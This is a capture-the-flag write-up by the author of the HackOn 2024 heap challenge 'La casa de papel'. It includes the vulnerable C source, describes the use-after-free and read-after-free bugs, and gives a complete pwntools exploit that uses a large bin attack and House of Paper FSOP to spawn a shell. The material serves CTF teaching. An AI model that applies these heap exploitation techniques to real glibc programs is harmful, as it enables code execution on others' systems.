ZEROCLICK

La Casa de Papel Writeup HackOn 2024 CTF

April 17, 2024
14 min read
Table of Contents

Intro

This is the writeup for the pwn challenge called “La casa de papel” I made for the Hackon 2024 CTF. You can download everything necessary to deploy the challenge from here. Sadly the challenge got 0 solves.

TL;DR

It consists of a very simple binary that allows you to create notes of size “SMALL/MEDIUM/LARGE” with or without a footer. You could edit each part of the note (header/text/footer) only once, you could also read the note and you could throw the note to the bin.

The binary had a couple of vulnerabilities: One-time use after free and a read after free.

The exploitation path was to leverage the large bin attack to overwrite stderr and craft custom structures to exploit House of Paper via fflush(stderr) (refer to my previous post on it) to gain shell.

Note: There were multiple other posibilities regarding FSOP techniques/houses. I did limit the use of House of Apple 2 by substituting the spaces with underbars.

Challenge overview

It is a typical heap notes challenge. The challenge wasn’t stripped and had the following protections:

Checksec output

When executing the binary you are presented with the following menu:

Challenge Menu

As after a day of CTF the challenge’s source code was uploaded to ease the resolution of it, I will show it here too.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
 
typedef enum { false, true } bool;
typedef enum { small, medium, large } note_sz;
 
#define MAX_NOTES 4
#define TAM_TEXT 0x410
#define TAM_FOOTER 0x18
 
typedef struct t_note{
    char* text;
    char* footer;
    bool is_freed;
    bool is_written;
    bool has_been_edited_text;
    bool has_been_edited_footer;
    bool has_been_edited_header;
    note_sz size;
} Note, *pNote;
 
Note notes[MAX_NOTES];
 
void
init();
 
void
banner();
 
void
show_options();
 
int
read_int();
 
void
read_text_input(char* dst, int nbytes);
 
int
available_notes_create();
 
int
available_notes_throw();
 
void
create_note();
 
void
read_note();
 
void
edit_note();
 
void
throw_note();
 
int
main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
 
    banner();
 
    while(true){
        show_options();
        int op = read_int();
        switch (op){
            case 0:
                create_note();
                continue;
            case 1:
                edit_note();
                continue;
            case 2:
                read_note();
                continue;
            case 3:
                throw_note();
                continue;
 
            case 4:
                break;
 
            default:
                puts("Invalid option! Try again!");
                continue;
        }
 
        break;
    }
 
    puts("Good bye!!");
 
    fflush(stderr);
    fflush(stdout);
    fflush(stdin);
}
 
void
banner(){
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡒⠦⠤⠤⠄⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⢼⠀⠀⠒⠒⠤⠤⠤⠤⠤⣀⣀⣀⣀⠀⠀⠘⡇⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⢀⣀⠤⠔⠒⠉⠁⢀⣼⡀⠀⢠⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠰⡧⠚⠉⢹⡀⠀⠀⠀⠀⠀⠀");
    puts("⠰⣖⠊⠉⠀⠀⠀⣠⠔⠚⠉⠁⢀⡇⠀⡀⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⢀⡇⠀⣤⠀⢷⡀⠀⠀⠀⠀⠀");
    puts("⠀⠈⠳⡄⠀⠀⠋⣠⠖⠂⡠⠖⢙⡇⠀⠈⠉⠉⠉⠉⠓⠒⠒⠒⠒⠒⠆⠀⠀⣷⡀⠉⢦⠀⢳⡀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠈⢦⠀⠀⠁⠀⠀⠀⢀⠼⡇⠀⠀⠦⠤⠤⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠱⡀⠀⠳⡀⠙⣆⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠳⡄⠀⢀⡤⠊⠁⢠⡇⠀⠠⠤⢤⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⡧⡀⠙⢄⠀⠱⠄⠈⠳⡄⠀");
    puts("⠀⠀⠀⠀⠀⠀⠙⡄⠀⠀⡠⠔⢻⠀⠀⠀⠀⠀⠀⠠⣄⣀⣀⣁⣀⠀⠀⠀⠀⡇⠱⡀⠀⠀⠀⠀⠀⣀⣘⣦");
    puts("⠀⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⡸⠀⠀⠰⣄⣀⡀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⡇⠀⠃⢀⣠⠴⠛⠉⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠒⠀⠀⠀⠠⡇⣠⠔⠋⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⢸⠁⠀⠀⠀⠒⠲⠤⣀⡀⠀⠀⠀⠀⠀⠀⠀⢰⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⠀⠀⠀⠀⠀⠀⠀⠀⠉⠑⠢⣄⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣎⣀⠀⠀⠀⠀⠀⠀⠀⠢⠤⣀⠀⠀⠁⠀⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢡⠉⠙⠒⠤⢤⡀⠀⠀⠀⠀⠉⠒⠀⠀⠀⠀⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠶⠒⠊⠉⠉⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀⢰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢄⡀⠀⠀⡎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⣼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
    puts("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀");
 
}
 
void
show_options(){
    puts("\nWhat would you like to do?");
    puts("[0] Create new note.");
    puts("[1] Edit existing note.");
    puts("[2] Read existing note.");
    puts("[3] Throw note to the bin.");
    puts("[4] Exit.");
}
 
void
init () {
    for(int i = 0; i < MAX_NOTES; i++){
        notes[i].text = NULL;
        notes[i].footer = NULL;
        notes[i].is_freed = false;
        notes[i].is_written = false;
        notes[i].has_been_edited_text = false;
        notes[i].has_been_edited_footer = false;
        notes[i].has_been_edited_header = false;
    }
}
 
int
read_int(){
    int in;
    putchar('>');
    scanf("%d", &in);
    return in;
}
 
void
read_text_input(char* dst, int nbytes){
    putchar('>');
    read(0, dst, nbytes);
}
 
int
available_notes_create(){
    int count = 0;
    for(int i = 0; i < MAX_NOTES; i++){
        if(!notes[i].is_written){
            count++;
        }
    }
    return count;
}
 
int
available_notes_throw(){
    int count = 0;
    for(int i = 0; i < MAX_NOTES; i++){
        if(!notes[i].is_freed){
            count++;
        }
    }
    return count;
}
 
void
print_note_idxs(){
    printf("[ ");
    for(int i = 0; i < MAX_NOTES; i++){
        printf("%d ", i);
    }
    puts("]");
}
 
void
clean_whitespaces(char *src){
    char *aux = src;
    while(*aux != '\0'){
        aux++;
        if(*aux == ' ') *aux = '_';
    }
}
 
int
fill_fields(int idx, bool with_footer){
    int text_offset = 0;
 
    puts("Enter the author's name:");
    read_text_input(notes[idx].text + text_offset, 0x8);
    clean_whitespaces(notes[idx].text + text_offset);
 
    if(with_footer){
        strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
    }
 
    text_offset += 0x8;
    puts("Enter the author's surname:");
    read_text_input(notes[idx].text+text_offset, 0x8);
    clean_whitespaces(notes[idx].text+text_offset);
 
    if(with_footer){
        strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
    }
 
    text_offset += 0x8;
    puts("Enter the date:");
    read_text_input(notes[idx].text+text_offset, 0x8);
    clean_whitespaces(notes[idx].text+text_offset);
 
    if(with_footer){
        strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
    }
 
    text_offset += 0x8;
    puts("Enter the city:");
    read_text_input(notes[idx].text + text_offset, 0x8);
    clean_whitespaces(notes[idx].text + text_offset);
 
    text_offset += 0x8;
    return text_offset;
}
 
void
print_footer(char *src){
    printf("Name: %s\n", src);
    printf("Surname: %s\n", src + 0x8);
    printf("Date: %s\n", src + 0x10);
}
 
void
print_header(char *src){
    print_footer(src);
    printf("City: %s\n", src + 0x18);
}
 
void
throw_note(){
    int idx;
    while(true){
        int available = available_notes_throw();
        if (!available){
            puts("There are no more pages left to tear bro\n");
            return;
        }
 
        puts("What is the index of the note you want to throw to the bin?");
        print_note_idxs();
 
        idx = read_int();
        if ((idx < 0 || idx >= MAX_NOTES) || notes[idx].is_freed || notes[idx].text == NULL ){
            puts("Invalid note!!");
            continue;
        }
        break;
    }
 
    notes[idx].is_freed = true;
    free(notes[idx].text);
    puts("3-pointer in the bin!!");
}
 
void
read_note(){
    int idx;
    while(true){
        puts("What is the index of the note you want to read?");
        print_note_idxs();
 
        idx = read_int();
        if ((idx < 0 || idx >= MAX_NOTES) || notes[idx].text == NULL ){
            puts("Invalid note!!");
            continue;
        }
        break;
    }
 
    printf("Note [%d]\n", idx);
    puts("Header");
    puts("-----------------------------");
    print_header(notes[idx].text);
    puts("-----------------------------");
    puts("");
 
    if(!notes[idx].is_freed){
        printf("Text: %s\n", notes[idx].text + 0x20);
    }else{
        puts("Text: --DELETED--");
    }
 
    puts("");
    if(notes[idx].footer != NULL){
        puts("Footer");
        puts("-------------------------------");
        print_footer(notes[idx].footer);
    }
}
 
void
edit_note(){
    int idx;
    while(true){
        puts("What is the index of the note you want to edit?");
        print_note_idxs();
 
        idx = read_int();
 
        if ((idx < 0 || idx >= MAX_NOTES) || !notes[idx].is_written || notes[idx].text == NULL){
            puts("Invalid note!!");
            continue;
        }
 
        break;
    }
 
    int edit_footer;
 
    while(true){
        puts("Do you want to edit the text a footer field or a header field? [text: 0, footer: 1, header: 2]");
        edit_footer = read_int();
        if(edit_footer < 0 || edit_footer > 2){
            puts("Invalid choize!!");
            continue;
        }
        if(!edit_footer && notes[idx].has_been_edited_text){
            puts("The text has already been edited. You don't have any tipex left!");
            return;
        }
        if(edit_footer == 1 && notes[idx].has_been_edited_footer){
            puts("The footer has already been edited. You don't have any tipex left!");
            return;
        }
        if(edit_footer == 2 && notes[idx].has_been_edited_header){
            puts("The header has already been edited. You don't have any tipex left!");
            return;
        }
 
        break;
    }
 
    if(edit_footer == 1){
        int field;
        while(true){
            puts("What field have you messed up? [Name: 0, Surname: 1, Date: 2]");
            field = read_int();
            if(field < 0 || field > 2){
                puts("That field doesn't exist!!");
                continue;
            }
            break;
        }
 
        notes[idx].has_been_edited_footer = true;
 
        int offset = field * 0x8;
        char *buf = notes[idx].footer + offset;
 
        puts("Enter the new field value");
        read_text_input(buf, 0x8);
        clean_whitespaces(buf);
 
    }else if (edit_footer == 2){
        int field;
        while(true){
            puts("What field have you messed up? [Name: 0, Surname: 1, Date: 2, City: 3]");
            field = read_int();
            if(field < 0 || field > 3){
                puts("That field doesn't exist!!");
                continue;
            }
            break;
        }
 
        notes[idx].has_been_edited_header = true;
 
        int offset = field * 0x8;
        char *buf = notes[idx].text + offset;
 
        puts("Enter the new field value");
        read_text_input(buf, 0x8);
        clean_whitespaces(buf);
 
    }else{
        notes[idx].has_been_edited_text = true;
 
        int header_sz = 0x20;
        int note_tam = (TAM_TEXT + 0x10 * notes[idx].size) - header_sz;
        puts("Enter the new text");
        read_text_input(notes[idx].text + header_sz, note_tam);
    }
 
    puts("Changes applied!");
}
 
void
create_note(){
    int idx;
    while (true){
        int available = available_notes_create();
        if(!available){
            puts("There are no pages left to write a new note!\n");
            return;
        }
 
        puts("Select the note's index");
        print_note_idxs();
 
        idx = read_int();
 
        if( (idx < 0 || idx >= MAX_NOTES) || notes[idx].text != NULL || notes[idx].is_written || notes[idx].is_freed ){
            puts("Invalid index!!");
            continue;
        }
        break;
    }
 
    int sz;
    while(true){
        puts("Choose the note size [small: 0, med: 1, big: 2]");
        sz = read_int();
        switch (sz){
            case 0:
            case 1:
            case 2:
                break;
            default:
                puts("Invalid note size!!");
                continue;
        }
        break;
    }
 
    int with_footer;
    while(true){
        puts("Do you want to write a footer to your note? [yes: 1, no: 0]");
        with_footer = read_int();
        switch (with_footer){
            case 0:
            case 1:
                break;
 
            default:
                puts("Invalid choize!!");
                continue;
        }
        break;
    }
 
    notes[idx].is_written = true;
    notes[idx].size = (note_sz) sz;
 
    int total_text_tam = TAM_TEXT + sz * 0x10, text_offset = 0;
    notes[idx].text = (char *) calloc(total_text_tam, 1);
 
    if(with_footer){
        notes[idx].footer = (char *) calloc(TAM_FOOTER, 1);
    }
 
    puts("\nFilling the fields...");
    text_offset = fill_fields(idx, with_footer);
 
    puts("Enter the note's text");
    read_text_input(notes[idx].text + text_offset, total_text_tam - text_offset);
 
    printf("Note created with index %d\n", idx);
}

It is a very simple binary where you are allowed to create, edit, read and throw a note. When creating a note, you have the posibility to create a maximum of 4 notes with three different sizes 0x410, 0x420, and 0x430, with the possiblity to add a footer of size 0x18 to the note (every note has a header. The header occupies the first 0x20 of every note).

There are a couple of vulnerabilities:

  • In the read_note function.[1] Only the note’s text is censored if the note has been previously freed, but the header and footer (if exists) are printed. This allows a read-after-free primitive that allows us to leak libc and heap pointers.
  • In the edit_note function. [2] This if checks whether the note has been initialized yet, but not if it has been freed which allows a UAF.
    • [2.1] The loop only allows you to edit each part of the note once. This limits the UAF to be used just once.

With these primitives we are ready to gain RCE!

First part: Large bin attack

The notes’ sizes were specifically designed to execute the large bin attack. I will leverage it to overwrite stderr with idea of using FSOP in the next step.

Here is a step by step process of the attack and diagrams that show the heap layout:

  • Allocate a medium size note (chunk0) with footer
  • Allocate a small size note (chunk1) with footer
+-------------------------------------------+
|                Chunk0 0x430               |
|                                           |
|                                           |
.                                           .
.                                           .
.                                           .
.                                           .
|                                           |
|                                           |
|                                           |
+-------------------------------------------+
|                Footer0 0x20               |
|                                           |
|                                           |
+-------------------------------------------+
|                Chunk1 0x420               |
|                                           |
|                                           |
.                                           .
.                                           .
.                                           .
.                                           .
|                                           |
|                                           |
|                                           |
+-------------------------------------------+
|                Footer1 0x20               |
|                                           |
|                                           |
+-------------------------------------------+
  • Free chunk0 (goes to unsorted bin)
  • Allocate big size note (chunk2) without footer (chunk0 goes to large bin)

At this point you could read the header of the note0 which would leak a libc address (first two note header values -> corresponding to the address of the large bin) and a heap address (last two header values -> corresponding to chunk0 address - 0x10)

    +-----------------------------------------------+
    v                                               |
+-->.............................................   |
|   .   Prev_size         .       Size          .   |
|   +-------------Chunk0-(large-Bin)------------+   |
|   |   Fd (0x7ff...)     |     Bk (0x7ff...)   |   |
|   +---------------------+---------------------+   |
+---+   fd_nextsize       |     bk_nextsize     +---+
    +---------------------+---------------------+
    .                                           .
    .                                           .
    .                                           .
    |                                           |
    |                                           |
    |                                           |
    +-------------------------------------------+
    |               Footer0 0x20                |
    |                                           |
    |                                           |
    +-------------------------------------------+
    |               Chunk1 0x420                |
    |                                           |
    |                                           |
    .                                           .
    .                                           .
    .                                           .
    .                                           .
    |                                           |
    +-------------------------------------------+
    |               Footer1 0x20                |
    |                                           |
    |                                           |
    +-------------------------------------------+
    |               Chunk2 0x440                |
    |                                           |
    |                                           |
    .                                           .
    .                                           .
    .                                           .
    .                                           .
    |                                           |
    |                                           |
    |                                           |
    +-------------------------------------------+
  • Edit chunk0 to put &stderr - 0x20 in the fourth field of the header (offset 0x18 which corresponds to bk_nextsize)
  • Free chunk1 (goes to the unsorted bin)
  • Allocate last big size note (chunk3) without footer (chunk1 goes to large bin)

The attack is executed and the address of stderr is overwritten with the address of chunk1-0x10 (the address of the header of the chunk). Here, it is also possible to leak the address of chunk1 by reading note0 again (corresponds with the first field fd).

                           +-------------Chunk0-(large-Bin)------------+
                           |                                           |
                           +                     +---------------------+
                           +                     |   stderr - 0x20     |
                           +                     +---------------------+
                           .                                           .
(0x406040)stderr           .                                           .
            |              .                                           .
            |              |                                           |
            |              |                                           |
            |              |                                           |
            |              +-------------------------------------------+
            |              |               Footer0 0x20                |
            +------------->.............................................
                           .                     .                     .
                           +-------------------------------------------+
                           |               Chunk1 0x420                |
                           |                                           |
                           |                                           |
                           .                                           .
                           .                                           .
                           .                                           .
                           .                                           .
                           |                                           |
                           +-------------------------------------------+
                           |               Footer1 0x20                |
                           |                                           |
                           |                                           |
                           +-------------------------------------------+
                           |               Chunk2 0x440                |
                           |                                           |
                           |                                           |
                           .                                           .
                           .                                           .
                           .                                           .
                           .                                           .
                           |                                           |
                           |                                           |
                           |                                           |
                           +-------------------------------------------+
                           |               Chunk3 0x440                |
                           |                                           |
                           |                                           |
                           .                                           .
                           .                                           .
                           .                                           .
                           .                                           .
                           |                                           |
                           |                                           |
                           |                                           |
                           +-------------------------------------------+

Second part: FSOP to gain shell

As stated before, the challenge was designed to not allow the use of house of apple by banning spaces (house of apple needs " sh" to bypass the conditions). This was done by substituting whitespaces with underbars starting from the second whitespace on (the reason for this is explained at the end of this post).

I will use “house of paper” technique, but any other IO FILE technique that doesn’t require two consecutive whitespaces to be written would also work fine.

Some of the conditions needed for house of paper to work were automatically fulfilled thanks to the values I initialized the notes to (e.g. by filling the fields with different letters in increasing order _wide_data->_IO_write_base < _wide_data->_IO_write_ptr is automatically fulfilled) so I had to change less values when editing the notes.

Note: when executing the payload, it crashed with some mutex functionality because it needed the value of _IO_stdfile_2_lock to be set in the member _IO_FILE_->_IO_lock_t, so as I had a libc leak I could simply set it.

Here is the final heap layout (with offsets relative to the _IO_FILE_plus structure) after crafting the chunks:

                         +-------------------------------------------+
                         |                  Chunk0                   |
                         |                                           |
stderr                   |                                           |
  |                      .                                           .
  |                      .                                           .
  |                      .                                           .
  |                      .                                           .
  |                      |                                           |
  |                      |                                           |
  |                      |                                           |
  |                      +-------------------------------------------+
  |                  0x00|                 Footer0                   |
  +--------------------->+---------------------+                     |
                         |      "/bin/sh"      |                     |
                         +---------------------+---------------------+
                         |                  Chunk1                   |
                         |                                           |
                         .                                           .
                         .                                           .
                         .                                           .
                         .                                           .
                         |                                           |
                         |                                           |
                         |                                           |
                         |                 0x88+---------------------+
                         |                     | &_IO_stdfile_2_lock |
                         |                     +---------------------+
                         |                                           |
                     0xa0+---------------------+                     |
                 +-------+   _wide_data        |                     |
                 |       +---------------------+                     |
                 |       |                                           |
                 |       |                                           |
                 |       |                                           |
                 |       |                 0xd8+---------------------+
                 |       |                     |_IO_wfile_jumps-0x18 |
                 |       |                     +---------------------+
                 |       |                                           |
                 |       .                                           .
                 |       .                                           .
                 |       .                                           .
                 |       .                                           .
                 |       +-------------------------------------------+
                 |       |                  Footer1                  |
                 |       |                                           |
                 |       |                                           |
                 +------>+------------------Chunk2-------------------+
                         |      AAAA           |       BBBB          |
                         +---------------------+---------------------+
                         |      CCCC           |        0x0          |
                         +---------------------+---------------------+
                         |                                           |
                         |                                           |
                         |                                           |
                         |                                           |
                         .                                           .
                         .                                           .
                         .                                           .
                         .                                           .
                         |                                           |
                         |                                           |
                         |                                           |
                     0xc0+---------------------+                     |
                  +------+   _wide_vtable      |                     |
                  |      +---------------------+                     |
                  |      |                                           |
                  +----->+-------------------------------------------+
                         |                  Chunk3                   |
                         |                 0x18+---------------------+
                         |                     |      &system        |
                         |                     +---------------------+
                         |                                           |
                         |                                           |
                         |                                           |
                         .                                           .
                         .                                           .
                         .                                           .
                         |                                           |
                         |                                           |
                         |                                           |
                         +-------------------------------------------+
                         |                 Top chunk                 |
                         |                                           |
                         |                                           |
                         |                                           |
                         |                                           |
                         |                                           |
                         |                                           |
                         |                                           |
                         |                                           |
                         v                                           v

Exploit

And here is the final exploit using pwntools:

from pwn import *
 
exe = './chall'
elf = context.binary = ELF(exe, checksec=False)
libc = elf.libc
context.log_level = 'info'
 
p = process(exe)
 
SMALL = 0x0
MEDIUM = 0x1
LARGE = 0x2
TEXT = 0x0
FOOTER = 0x1
HEAP_ADDR = 0x3
LIBC_ADDR = 0x6
EDIT_HEADER = 0x2
EDIT_FOOTER = 0x1
EDIT_TEXT = 0x0
 
class challenge:
    def __init__(self):
        self.offset = 0x440
        self.chnk1 = 0x0
        self.fp = dict()
        self.wide_data = dict()
        self.wide_vtable = dict()
        self.next_alloc_idx = 0x0
 
    def int2bytes(self, value: int):
        return bytes(str(value), 'ascii')
 
    def parseBytes(self, value: bytes):
        return value.ljust(8, b"\00")
 
    def parseAddressToInt(self, value: bytes):
        return u64(value)
 
    def read_leaked_addr(self, idx: int, nbytes: int):
        p.sendlineafter(b">", b"2")
        p.sendlineafter(b">", self.int2bytes(idx))
 
        p.recvuntil(b"Name: ")
        first = self.parseBytes(p.recv(nbytes))
        p.recvuntil(b"What")
        return first
 
    def exit(self):
        p.sendlineafter(b">", b"4")
 
    def free(self, idx):
        p.sendlineafter(b">", b"3")
        p.sendlineafter(b">", self.int2bytes(idx))
 
    def edit(self, idx: int, to_write: bytes, offset: int = 0 , what_to_edit: int = 0):
        p.sendlineafter(b">", b"1")
        p.sendlineafter(b">", self.int2bytes(idx))
        p.sendlineafter(b">", self.int2bytes(what_to_edit))
        if what_to_edit != 0:
            p.sendlineafter(b">", self.int2bytes(offset))
        p.sendlineafter(b">", to_write)
 
 
    def alloc(self, size, footer: bool):
        footer = int(footer)
        p.sendlineafter(b">", b"0")
        p.sendlineafter(b">", self.int2bytes(self.next_alloc_idx)) #id
        p.sendlineafter(b">", self.int2bytes(size))
        p.sendlineafter(b">", self.int2bytes(footer))
 
        #fill values
        p.sendlineafter(b">", b"A"*4)
        p.sendlineafter(b">", b"B"*4)
        p.sendlineafter(b">", b"C"*4)
        p.sendlineafter(b">", b"D"*4)
        p.sendlineafter(b">", b"E"*30)
 
        self.next_alloc_idx += 1
        return self.next_alloc_idx - 1
 
 
    def large_bin_attack(self):
        self.chnk1 = self.alloc(MEDIUM, True)
        self.fp['idx'] = self.alloc(SMALL, True)
 
        self.free(self.chnk1) #chnk1 to unsorted bin
 
        libc_leak = self.read_leaked_addr(self.chnk1, LIBC_ADDR) # == main_arena+96
 
        libc_base = u64(libc_leak) - 0x21ace0
        libc.address = libc_base
        log.success(hex(libc_base))
 
        stderr_addr = 0x406040 #changes on compilations
 
        self.wide_data['idx'] = self.alloc(LARGE, False) #chnk1 to large bin
 
        self.edit(self.chnk1, p64(stderr_addr - 0x20), 0x18, EDIT_HEADER)
 
        self.free(self.fp['idx']) #fp to unsorted
 
        self.wide_vtable['idx'] = self.alloc(LARGE, False) #fp to large bin and fp.addr to stderr
 
        heap_leak = self.read_leaked_addr(self.chnk1, HEAP_ADDR)
 
        self.fp['addr'] = u64(heap_leak) + 0x10
        self.wide_data['addr'] = self.fp['addr'] + 0x440
        self.wide_vtable['addr'] = self.wide_data['addr'] + 0x440
 
        log.success(hex(self.fp['addr']))
 
 
    def exploit(self):
        self.large_bin_attack()
 
        self.edit(self.chnk1, b"/bin/sh\0", 0x10, EDIT_FOOTER) #set fp->_flags to /bin/sh by editing previous note's footer
 
        # starts to write at: 0x10 (chunk header) + 0x20 (note header) = 0x30 offset
        _IO_stdfile_2_lock_addr = libc.address + 0x21ca60 #else the exploit crashes
        file_struct =   b"F"*0x58 + \
                        p64(_IO_stdfile_2_lock_addr) + \
                        b"G"*0x10 + \
                        p64(self.wide_data['addr']) + \
                        b"H"*0x30 + \
                        p64(libc.sym['_IO_wfile_jumps'] - 0x18)
 
        self.edit(self.fp['idx'], file_struct)
 
        wide_data_struct =  b"I"*0xc0 + \
                            p64(self.wide_vtable['addr'])
        self.edit(self.wide_data['idx'], wide_data_struct)
 
        self.edit(self.wide_vtable['idx'], p64(libc.sym['system']), 0x18, EDIT_HEADER)
 
        self.exit()
 
 
if __name__ == "__main__":
    exp = challenge()
    exp.exploit()
 
    log.success("Spawning shell...")
    p.interactive()
    p.close()

Why substituting spaces starting from the second?

For the most curious ones reading this post, you may have noticed that the function clean_witespaces doesn’t substitute the first whitespace:

void
clean_whitespaces(char *src){
    char *aux = src;
    while(*aux != '\0'){
 
        aux++;
        if(*aux == ' ') *aux = '_';
    }
}

As I have said before, I didn’t want people to use House of Apple because it is very documented and known and I wanted them to at least use one of the AngryFSOP techniques (after the CTF I realised this only limited the use of House of Apple2 xd) or find a different path by themselves. But I came across a pitfall with my own exploit.

The whitespace is 0x20 in hex. During the largebin attack, I wanted to overwrite stderr at address 0x406040. The problem was that I had to write target - 0x20 (in this case 0x406020) to successfully execute the attack.

See the problem here?

I couldn’t write the byte 0x20 needed for the largebin attack because I was substituting it with '_'. So (because 0x20 would be the first byte of 0x406020 in little endian) I changed the order in which the index was updated, updating it before substituting the first whitespace.